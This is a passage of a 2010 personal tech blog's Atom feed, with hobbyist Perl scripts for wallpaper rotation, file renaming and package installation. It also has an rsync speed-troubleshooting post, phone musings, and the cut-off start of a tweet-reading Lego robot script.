src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-1255945399107793458</id><published>2010-04-06T10:29:00.000-07:00</published><updated>2010-04-07T06:54:36.709-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HUGE DEAL'/><category scheme='http://www.blogger.com/atom/ns#' term='blog'/><category scheme='http://www.blogger.com/atom/ns#' term='purile'/><category scheme='http://www.blogger.com/atom/ns#' term='juvenile'/><category scheme='http://www.blogger.com/atom/ns#' term='old posts'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>New posts and my feelings of purileness</title><content type='html'>I feel that the new posts, since my absence have at best been juvenile. I apologise for the poor content. I planned to have a big to do when the blog turned two, however that didn't happen, mostly because of a turn in my health and stress at my job/life as well as other obligations. I apologise for this. I will at some point in the future have a HUGE DEAL, to make up for it. However, as I am still in poor health, and my work and finances demand my attention elsewhere I will try to appease with what I can. Expect new content on &lt;a href="http:\\fuckinfiction.wereboobs.com"&gt;http:\\fuckinfiction.wereboobs.com&lt;/a&gt; soon. And expect better posts on here.&lt;br /&gt;&lt;br /&gt;One of the reasons for the ubuntu posts is because I was a hardcore fedora fan, however after using there test repositories and 13 alpha, I had so many crashes and data loss....I finally went to the darkside...yes, oh yes, I tried arch. I know it's all the rage. And all the cool kids are using it. But my problem with arch was many. So I went with Ubuntu, please forgive me.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Also, here's me straight razoring my head.....yes, I am an idiot.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/bsdpunkblog/4495500546/" title="Real Men Straight Razor their hair by bsdpunkblog, on Flickr"&gt;&lt;img src="http://farm5.static.flickr.com/4040/4495500546_aa3e639ef4_o.jpg" width="534" height="380" alt="Real Men Straight Razor their hair" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thanks,&lt;br /&gt;&lt;br /&gt;Dusty C.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-1255945399107793458?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/1255945399107793458/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=1255945399107793458' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1255945399107793458'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1255945399107793458'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/04/new-posts-and-my-feelings-of-purileness.html' title='New posts and my feelings of purileness'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-7548434834061114821</id><published>2010-04-06T10:19:00.000-07:00</published><updated>2010-04-06T10:39:05.142-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wallpaper'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='gnome'/><category scheme='http://www.blogger.com/atom/ns#' term='scripting'/><title type='text'>Ubuntu / Gnome change your wallpaper every 10 seconds</title><content type='html'>Ok so assuming you have a folder named Wallpaper in your home directory which contains numbered .jpg's(in my case 385) you can use this to change your wallpaper every 10 seconds. You can adjust how often it changes by changing the sleep number on the 5th line of the script and you can adjust the number of wallpapers you have on the sixth line of the script by changing the number 385. I originally had made this as a cron job rather than a constantly running perl job which I run in screen (screen perl wallpaper.pl...then ctrl + a + d). However I was having some trouble getting it to work with cron, and the outside sources I used to help figure this out where at a loss so here it is.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#/usr/bin/perl&lt;br /&gt;use strict;&lt;br /&gt;use warnings;&lt;br /&gt;while(1){&lt;br /&gt; sleep(10);&lt;br /&gt; my $numberW = int(rand(385));&lt;br /&gt; print $numberW;&lt;br /&gt; my $wallpaper = "gconftool-2 -t string -s /desktop/gnome/background/picture_filename /home/lane/Wallpaper/".$numberW.".jpg";&lt;br /&gt; system($wallpaper);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now you may wonder how you get neatly numbered wallpapers. Well I wrote a script for that as well and it works as long as none of the wallpapers are already named as numbers already. Remember to change the @files dir to the directory where the pictures already exist non-numbered, and to put the $newfile directory where you want the new files to go. It is not advisable that these be the same place.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl -w&lt;br /&gt;use strict;&lt;br /&gt;use warnings;&lt;br /&gt;my @files;&lt;br /&gt;my $it = "207";&lt;br /&gt;print $it;&lt;br /&gt;@files = &lt;/Users/lane/Downloads/tat/ta2/*&gt;;&lt;br /&gt;my $counts;&lt;br /&gt;my $newfile;&lt;br /&gt;my $file_number = "0";&lt;br /&gt;&lt;br /&gt;while(1){&lt;br /&gt;  foreach (@files) {&lt;br /&gt;    my $file_regex = qr!(\d+\.jpg)!s;&lt;br /&gt;    if ($file_regex =~ @files) {&lt;br /&gt;      $counts = $counts + 1;&lt;br /&gt;      print $counts;&lt;br /&gt;      if ($counts == scalar @files) {&lt;br /&gt;        print "fuck you";&lt;br /&gt;        }&lt;br /&gt;        if ( $counts == scalar @files ) {&lt;br /&gt;          exit();&lt;br /&gt;          }&lt;br /&gt;    }&lt;br /&gt;    my $loopy = "1";&lt;br /&gt;      while($loopy){&lt;br /&gt;        my $file_regex = qr!(\d+\.jpg)!s;&lt;br /&gt;     if ($file_regex !~ @files) {&lt;br /&gt;       $newfile = '/Users/lane/Downloads/tat/ta2/'.$it.".jpg";&lt;br /&gt;      rename($files[$file_number], $newfile );&lt;br /&gt;      ++$it;&lt;br /&gt;      ++$file_number;&lt;br /&gt;      if( ! -e $newfile){&lt;br /&gt;          $loopy = "0";&lt;br /&gt;          exit();&lt;br /&gt;        }&lt;br /&gt;      &lt;br /&gt;      }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-7548434834061114821?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/7548434834061114821/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=7548434834061114821' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7548434834061114821'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7548434834061114821'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/04/ubuntu-gnome-hange-your-wallpaper-every.html' title='Ubuntu / Gnome change your wallpaper every 10 seconds'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-8116777748091271638</id><published>2010-04-04T22:18:00.000-07:00</published><updated>2010-04-04T22:22:15.245-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='install'/><category scheme='http://www.blogger.com/atom/ns#' term='debian'/><category scheme='http://www.blogger.com/atom/ns#' term='apt-get'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Installing all new crap on debian / ubuntu</title><content type='html'>THis is the same as the script before as written for both arch and ubuntu...the diffrence being is that if you aren't root you need to run this with sudo. Just remember save the script with a name like install.pl and launch it from the command line with a cammand like: sudo perl install.pl&lt;br /&gt;&lt;br /&gt;The script:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;use strict;&lt;br /&gt;use warnings;&lt;br /&gt;&lt;br /&gt;my $aptget;&lt;br /&gt;&lt;br /&gt;my @aptget_installs = qw(&lt;br /&gt; xchat screen cpan&lt;br /&gt; wget pcre-devel cmake&lt;br /&gt; gtk+ pygame python-devel&lt;br /&gt; cmake cmake-devel liblo&lt;br /&gt; liblo-devel gcc-c++-devel cmake-gui&lt;br /&gt; libsndfile libsndfile-devel qjackctl&lt;br /&gt; zynaddsubfx vkeybd qtjack-devel&lt;br /&gt; csound csound-devel portmidi&lt;br /&gt; rosegarden4 jamin jack-audio-connection-kit-devel&lt;br /&gt; ctapi-cyberjack-devel zynjacku ardour&lt;br /&gt; nxt_python pybluez&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;&amp;array_cracker();&lt;br /&gt;&lt;br /&gt;sub array_cracker(){&lt;br /&gt; foreach(@aptget_installs){&lt;br /&gt;   print $_;&lt;br /&gt;   $aptget = `apt-get install -y $_`;&lt;br /&gt;   print $aptget;&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-8116777748091271638?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/8116777748091271638/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=8116777748091271638' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8116777748091271638'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8116777748091271638'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/04/installing-all-new-crap-on-debian.html' title='Installing all new crap on debian / ubuntu'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-6607612348214719239</id><published>2010-04-03T21:05:00.000-07:00</published><updated>2010-04-04T22:14:08.526-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='arch linux'/><category scheme='http://www.blogger.com/atom/ns#' term='yes'/><category scheme='http://www.blogger.com/atom/ns#' term='installation'/><category scheme='http://www.blogger.com/atom/ns#' term='autmatically'/><category scheme='http://www.blogger.com/atom/ns#' term='scripting'/><title type='text'>Installing a bunch of crap on arch linux through a perl script.</title><content type='html'>Rewrote the script I made for setting up my music and dev stuff for &lt;a href="http://bsdpunk.blogspot.com/2009/10/installing-all-shit-you-need-on-fedora.html"&gt;fedora&lt;/a&gt;, in perl:&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;use strict;&lt;br /&gt;use warnings;&lt;br /&gt;&lt;br /&gt;my $pacman;&lt;br /&gt;&lt;br /&gt;my @pacman_installs = qw(&lt;br /&gt; xchat screen cpan&lt;br /&gt; wget pcre-devel cmake&lt;br /&gt; gtk+ pygame python-devel&lt;br /&gt; cmake cmake-devel liblo&lt;br /&gt; liblo-devel gcc-c++-devel cmake-gui&lt;br /&gt; libsndfile libsndfile-devel qjackctl&lt;br /&gt; zynaddsubfx vkeybd qtjack-devel&lt;br /&gt; csound csound-devel portmidi&lt;br /&gt; rosegarden4 jamin jack-audio-connection-kit-devel&lt;br /&gt; ctapi-cyberjack-devel zynjacku ardour&lt;br /&gt; nxt_python pybluez&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;&amp;array_cracker();&lt;br /&gt;&lt;br /&gt;sub array_cracker(){&lt;br /&gt; foreach(@pacman_installs){&lt;br /&gt;   print $_;&lt;br /&gt;   $pacman = `pacman -Syq --noconfirm $_`;&lt;br /&gt;   print $pacman;&lt;br /&gt;  }&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-6607612348214719239?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/6607612348214719239/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=6607612348214719239' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6607612348214719239'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6607612348214719239'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/04/installing-bunch-of-crap-on-arch-linux.html' title='Installing a bunch of crap on arch linux through a perl script.'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-7665553347231272759</id><published>2010-04-02T13:18:00.000-07:00</published><updated>2010-04-02T13:22:36.998-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='network slowness'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorials'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='fedora'/><category scheme='http://www.blogger.com/atom/ns#' term='rsync'/><category scheme='http://www.blogger.com/atom/ns#' term='examples'/><category scheme='http://www.blogger.com/atom/ns#' term='mac'/><title type='text'>Rsync slowness?</title><content type='html'>I was having some slow rsync issues on my all gig ethernet network. I was rsyncing as such and was having less than stellar download speeds. My network is setup with one macbook, a linksys routers[gig ethernet](one of the slightly higher end models not the standard wrt54g). And it's connected on my fedora box, here are the speeds I was getting:&lt;br /&gt;&lt;br /&gt;My "rsync -avz -P /Users/lane/Downloads/ root@192.168.1.201:/home/lane/Downloads/rsync/":&lt;br /&gt;Code:&lt;br /&gt;Bones/Bones Season 2/Bones.S02E05.HDTV.XviD.avi&lt;br /&gt;   366486588 100%    7.42MB/s    0:00:47 (xfer#11, to-check=858/1014)&lt;br /&gt;Bones/Bones Season 2/Bones.S02E06.HDTV.XviD.avi&lt;br /&gt;   365428736 100%    7.41MB/s    0:00:47 (xfer#12, to-check=857/1014)&lt;br /&gt;Bones/Bones Season 2/Bones.S02E07.HDTV.XviD.avi&lt;br /&gt;   366942838 100%    6.59MB/s    0:00:53 (xfer#13, to-check=856/1014)&lt;br /&gt;Bones/Bones Season 2/Bones.S02E08.HDTV.XviD.avi&lt;br /&gt;   366863346 100%    7.25MB/s    0:00:48 (xfer#14, to-check=855/1014)&lt;br /&gt;Bones/Bones Season 2/Bones.S02E09.HDTV.XviD.avi&lt;br /&gt;   366988952 100%    7.08MB/s    0:00:49 (xfer#15, to-check=854/1014)&lt;br /&gt;Bones/Bones Season 2/Bones.S02E10.HDTV.XviD.avi&lt;br /&gt;   366969326 100%    6.37MB/s    0:00:54 (xfer#16, to-check=853/1014)&lt;br /&gt;Bones/Bones Season 2/Bones.S02E11.HDTV.XviD.avi&lt;br /&gt;   366988976 100%    7.19MB/s    0:00:48 (xfer#17, to-check=852/1014)&lt;br /&gt;Bones/Bones Season 2/Bones.S02E12.HDTV.XviD.avi&lt;br /&gt;   366975374 100%    7.60MB/s    0:00:46 (xfer#18, to-check=851/1014)&lt;br /&gt;Bones/Bones Season 2/Bones.S02E13.HDTV.XviD.avi&lt;br /&gt;   367679488 100%    6.76MB/s    0:00:51 (xfer#19, to-check=850/1014)&lt;br /&gt;Bones/Bones Season 2/Bones.S02E14.HDTV.XviD.avi&lt;br /&gt;   367340574 100%    6.69MB/s    0:00:52 (xfer#20, to-check=849/1014)&lt;br /&gt;Bones/Bones Season 2/Bones.S02E15.HDTV.XviD.avi&lt;br /&gt;   366983676 100%    6.98MB/s    0:00:50 (xfer#21, to-check=848/1014)&lt;br /&gt;Bones/Bones Season 2/Bones.S02E16.HDTV.XviD.avi&lt;br /&gt;   366794752 100%    7.34MB/s    0:00:47 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I ran this command on my linux box&lt;br /&gt;ethtool -s eth0 speed 1000 duplex full&lt;br /&gt;I think ifconfig eth0 down then ifconfig eth0 up and restarted the rsync.&lt;br /&gt;And the speeds increased but not dramatically:&lt;br /&gt;&lt;br /&gt;ue_Gender1-26(complete)/zx.blue.gender.05.divx503.ogm&lt;br /&gt;   237303388 100%   17.56MB/s    0:00:12 (xfer#1, to-check=887/1014)&lt;br /&gt;Blue_Gender1-26(complete)/zx.blue.gender.06.divx503.ogm&lt;br /&gt;   238456995 100%   11.51MB/s    0:00:19 (xfer#2, to-check=886/1014)&lt;br /&gt;Blue_Gender1-26(complete)/zx.blue.gender.07.divx503.ogm&lt;br /&gt;   237551102 100%    5.34MB/s    0:00:42 (xfer#3, to-check=885/1014)&lt;br /&gt;Blue_Gender1-26(complete)/zx.blue.gender.11.divx503.ogm&lt;br /&gt;   243860297 100%   16.20MB/s    0:00:14 (xfer#4, to-check=881/1014)&lt;br /&gt;Blue_Gender1-26(complete)/zx.blue.gender.12.divx503.ogm&lt;br /&gt;   242815771 100%   16.70MB/s    0:00:13 (xfer#5, to-check=880/1014)&lt;br /&gt;Blue_Gender1-26(complete)/zx.blue.gender.13.divx503.ogm&lt;br /&gt;   239553347 100%   20.09MB/s    0:00:11 (xfer#6, to-check=879/1014)&lt;br /&gt;Blue_Gender1-26(complete)/zx.blue.gender.14.divx503.ogm&lt;br /&gt;   237805952 100%   11.54MB/s    0:00:19 (xfer#7, to-check=878/1014)&lt;br /&gt;Blue_Gender1-26(complete)/zx.blue.gender.15.divx503.ogm&lt;br /&gt;   237405118 100%   16.57MB/s    0:00:13 (xfer#8, to-check=877/1014)&lt;br /&gt;Blue_Gender1-26(complete)/zx.blue.gender.16.divx503.ogm&lt;br /&gt;   238030584 100%   17.48MB/s    0:00:12 (xfer#9, to-check=876/1014)&lt;br /&gt;Blue_Gender1-26(complete)/zx.blue.gender.20.divx503.ogm&lt;br /&gt;&lt;br /&gt;However, this still isn't satisfactory. After some more investigation I started using the mii-tool&lt;br /&gt;mii-tool -v&lt;br /&gt;Which showed that my eth0 card was still at the same speed:&lt;br /&gt;eth0: negotiated 100baseTx-FD flow-control, link ok&lt;br /&gt;&lt;br /&gt;This does not explain the speed increase if this tool is accurate.&lt;br /&gt;I decided to then investigate the mac and after a greping of the dmesg found this:&lt;br /&gt;sudo dmesg |grep 'en0'&lt;br /&gt;Ethernet [AppleYukon2]: Link up on en0, 1-Gigabit, Full-duplex, Symmetric flow-control, Debug [796d,af08,0de1,0200,cde1,2800]&lt;br /&gt;&lt;br /&gt;And while it is not definite proof that the port is running at gigabit it does make me want to look to other areas for a speed boost. Does rsync just have an incredible amount of overhead? Or is there something else wrong? And if something else is wrong, is it the router, or one of the boxes...perhaps I should just be less picky about my speeds. If you have any answers let me know.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-7665553347231272759?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/7665553347231272759/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=7665553347231272759' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7665553347231272759'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7665553347231272759'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/04/i-was-having-some-slow-rsync-issues-on.html' title='Rsync slowness?'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-1389707584344898077</id><published>2010-01-10T11:38:00.001-08:00</published><updated>2010-01-10T11:41:48.273-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='foursquare'/><category scheme='http://www.blogger.com/atom/ns#' term='moment'/><category scheme='http://www.blogger.com/atom/ns#' term='new year'/><category scheme='http://www.blogger.com/atom/ns#' term='analytics'/><category scheme='http://www.blogger.com/atom/ns#' term='nexus one'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>New Posts, The nexus one, and hyperlocal.</title><content type='html'>&lt;a href="http://www.flickr.com/photos/bsdpunkblog/4254711796/" title="Nexus One by bsdpunkblog, on Flickr"&gt;&lt;img src="http://farm5.static.flickr.com/4048/4254711796_c93a418e83.jpg" width="500" height="375" alt="Nexus One" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I haven't posted in a little bit so I posted twice today for you guys, below is a little robot I coded while at the coffee shop. But I also wanted to talk about google's neww phone the nexus one. This is the one google is really throwing there weight behind. They had a press conference and since then this thing is on almost everybody's adsense, including this blog and my employers. I read somewhere that they were having a little copyright trouble with the name as the Phillip K. Dick estate was a little mad about the Bladerunner refrence. There's only one reason I don't like the nexus and that's because it doesn't have a keyboard. If I was a patient person I myself might have gotten The Droid over The Moment, however I'm not patient and though there are things that irritate me about my phone, I still love it. &lt;br /&gt; I think google maps has really changed the way I live. If I need something in particular I always hit google maps first to make sure that the place I am going is the closest. I really use it a lot now that I have moved to West Nashville, and am not as familiar with the area as I would like to be. As someone who works in the "hyper local" space, I appreciate this apps and the one's like it. I also like foursquare,sort of a venue tagging phone app for hipsters or something, and will probably be making use of that shortly.(I hope I can become mayor of cafe coco). The blog is almost 2 years old, last year I had a huge announcemnt....I have one of those coming but don't know if I will make the deadline of doing it exactly on the year mark. But let's check the two years of analytics we have so far:&lt;br /&gt; &lt;br /&gt; &lt;a href="http://www.flickr.com/photos/bsdpunkblog/4262805349/" title="Google Analytics for bsdpunk by bsdpunkblog, on Flickr"&gt;&lt;img src="http://farm5.static.flickr.com/4059/4262805349_f440d338d2_b.jpg" width="1024" height="320" alt="Google Analytics for bsdpunk" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;br /&gt; The picture is only impressive if you click on it.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Have a Happy Twenty-Ten, and if you have any suggestions for the blog feel free to comment.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-1389707584344898077?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/1389707584344898077/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=1389707584344898077' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1389707584344898077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1389707584344898077'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/01/new-posts-nexus-one-and-hyperlocal.html' title='New Posts, The nexus one, and hyperlocal.'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm5.static.flickr.com/4048/4254711796_c93a418e83_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-501799172358819434</id><published>2010-01-10T11:35:00.000-08:00</published><updated>2010-01-10T12:59:05.000-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='giant robot'/><category scheme='http://www.blogger.com/atom/ns#' term='lego nxt'/><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='beerbotprime'/><title type='text'>BeerBot Prime Here to save the day. Or maybe get you a free beer and a date.</title><content type='html'>&lt;a href="http://www.flickr.com/photos/bsdpunkblog/4216745746/" title="This @beerbotprime by bsdpunkblog, on Flickr"&gt;&lt;img src="http://farm5.static.flickr.com/4065/4216745746_c1997f923f.jpg" width="375" height="500" alt="This @beerbotprime" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/48P5XgC0-dw&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/48P5XgC0-dw&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;I made this robot, at and for coffe shops or other public places with wifi. You can take him there and whenever anyone tweets his name, it will read the message from your laptops speakers...yes yes I know, ignore the man behind the curtains. This will only work on mac os x right now, as it uses the say command. If there is an equivelent on linux you can just plug the command name in $say near the bottom. If you have windows you can execute a little vbscript here that will do the same thing. So what I do is tweet things like "I want a coffee" for places like the coffeshop down the road and for places like cafe coco I crank it up with, "Will you buy me a beer". As always make sure any modules you don't have are install via cpan or activestate's ppm utility if you have trouble with cpan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;i.e. A tweet like this:&lt;br /&gt;@beerbotprime Buy me a beer&lt;br /&gt;&lt;br /&gt;will make beerbotprime say buy me a beer, no matter what account it is tweeted from&lt;br /&gt;he also moves his hand&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;use Sys::Hostname;&lt;br /&gt;use strict;&lt;br /&gt;use warnings;&lt;br /&gt;use LEGO::NXT;&lt;br /&gt;use LEGO::NXT::Constants qw(:DEFAULT);&lt;br /&gt;use LEGO::NXT::MacBlueComm;&lt;br /&gt;use Net::Twitter;&lt;br /&gt;use Date::Format;&lt;br /&gt;my $dev = new LEGO::NXT::MacBlueComm('/dev/tty.NXT-DevB');&lt;br /&gt;my $bt = new LEGO::NXT( $dev );&lt;br /&gt;my $speed = 100;&lt;br /&gt;my $tachoticks = 360;&lt;br /&gt;my $tailFtac = 100;&lt;br /&gt;my $tailBtac = 100;&lt;br /&gt;my $tailSpeed = 100;&lt;br /&gt;my $tailBSpeed = 100;&lt;br /&gt;my $backSpeed = 100;&lt;br /&gt;my @names = ('New Tweet');&lt;br /&gt;my $bob = "test";&lt;br /&gt;my $tail = "tail";&lt;br /&gt;my $retract = "retract";&lt;br /&gt;my $say;&lt;br /&gt;&lt;br /&gt;my $tweet = Net::Twitter-&gt;new( username=&gt;'beerbotprime', password=&gt;'insertyourpassword' );&lt;br /&gt;print "logged in? \n";&lt;br /&gt;my $last_id = undef;&lt;br /&gt;my $switch = 0;&lt;br /&gt;&lt;br /&gt;while(1){&lt;br /&gt; my @tt = ();&lt;br /&gt;&lt;br /&gt; if($last_id){&lt;br /&gt;  @tt = $tweet-&gt;friends_timeline({count =&gt; 5, since_id =&gt; $last_id });&lt;br /&gt; }else{&lt;br /&gt;  @tt = $tweet-&gt;friends_timeline({count =&gt; 5 });&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; foreach my $t (@{$tt[0]}){&lt;br 